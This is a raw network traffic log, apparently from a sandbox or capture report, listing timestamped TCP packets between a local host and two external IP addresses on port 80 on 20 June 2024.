Jun 20, 2024 15:38:11.081821918 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081837893 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081839085 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081840038 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081855059 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081870079 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081917048 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081933975 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081948996 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081958055 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081964970 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081971884 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081984043 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.081985950 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.081999063 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082009077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082021952 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082026958 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082041025 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082046986 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082060099 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082067013 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082071066 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082081079 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082106113 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082112074 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082123041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082129955 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082148075 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082149982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082165956 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082181931 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082181931 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082194090 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082196951 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082217932 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082225084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082237959 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082251072 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082257032 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082263947 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082294941 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082295895 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082341909 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082356930 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082372904 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082386971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082387924 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.082398891 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082412958 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.082436085 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.124752998 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124782085 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124797106 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124813080 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124828100 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124844074 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124844074 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.124860048 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124876022 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.124886036 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.124902964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.124931097 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.136647940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.136707067 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.136712074 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.136751890 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.136753082 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.136770010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.136784077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.136794090 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.136800051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.136817932 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.136831045 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.136846066 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137027025 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137043953 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137061119 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137075901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137078047 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137089014 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137092113 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137115002 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137118101 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137144089 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137145042 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137161970 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137171984 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137180090 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137193918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137193918 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137211084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137211084 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137228012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137228966 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137245893 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137258053 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137260914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137279034 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137281895 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137291908 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.137305021 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.137334108 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166002989 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166019917 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166037083 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166096926 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166150093 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166163921 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166166067 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166182995 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166198969 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166218042 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166218042 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166263103 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166493893 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166508913 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166526079 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166542053 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166579962 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166579962 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166649103 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166663885 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166678905 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166693926 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166704893 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166707993 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.166724920 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.166757107 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167186975 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167202950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167217970 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167242050 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167272091 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167294025 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167309046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167324066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167340994 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167345047 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167366982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167368889 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167382956 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167406082 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167413950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167427063 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167443037 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167455912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167462111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167479992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167494059 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167499065 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167500019 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167510033 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167527914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167545080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167545080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167545080 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167578936 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167644024 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167659044 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167673111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167690039 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167702913 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167706013 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167721033 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167726040 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167748928 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167772055 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167802095 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167817116 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167831898 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167845964 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167846918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167861938 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167865038 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167886019 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167897940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167910099 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167937994 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167943954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167965889 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167980909 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167984009 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.167996883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.167999983 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168013096 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168020964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168030024 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168036938 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168047905 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168055058 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168064117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168071032 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168080091 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168087959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168100119 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168104887 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168112993 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168117046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168133974 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168140888 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168149948 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168158054 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168174982 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168184996 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168237925 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168283939 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168313026 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168329954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168360949 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168378115 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168446064 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168462038 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168477058 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168505907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168505907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168518066 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168689013 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168705940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168720961 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168735027 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168735981 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168745995 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168756008 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168764114 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168783903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168802023 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168859005 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168874979 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168889046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168904066 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168909073 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168920040 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168932915 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168961048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.168968916 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.168983936 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169001102 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169009924 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169014931 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169034004 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169043064 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169058084 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169058084 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169075012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169083118 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169092894 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169101000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169116974 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169131994 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169136047 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169152975 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169167042 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169179916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169188023 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169198990 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169203997 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:11.169215918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169231892 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:11.169244051 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:12.002286911 CEST	49707	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:12.002552032 CEST	49709	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:12.007559061 CEST	80	49709	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:12.007618904 CEST	49709	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:12.007688999 CEST	80	49707	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:12.007781029 CEST	49707	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:12.007853031 CEST	49709	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:12.013024092 CEST	80	49709	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:12.706614017 CEST	80	49709	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:12.706760883 CEST	49709	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:12.714926004 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:12.715459108 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:12.720415115 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:12.720494032 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:12.729119062 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:12.729176044 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:12.780069113 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:12.784837008 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597141027 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597157001 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597167969 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597178936 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597218990 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.597254038 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.597279072 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597290993 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597300053 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.597332001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.597347021 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.598278999 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.598311901 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.598323107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.598334074 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.598335028 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.598361969 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.598388910 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.604607105 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.604667902 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.606650114 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.606661081 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.606673002 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.606726885 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.606746912 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.606792927 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.606839895 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.606961012 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.606971025 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607009888 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607024908 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607031107 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607078075 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607177973 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607227087 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607259035 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607269049 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607279062 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607290030 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607300997 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607304096 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607327938 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607358932 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607419968 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607430935 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.607467890 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.607496023 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.608093977 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.608104944 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.608144999 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.608161926 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.610558033 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.610605001 CEST	49710	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:13.612916946 CEST	80	49710	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:13.612930059 CEST	80	49710	77.91.77.81	192.168.2.5
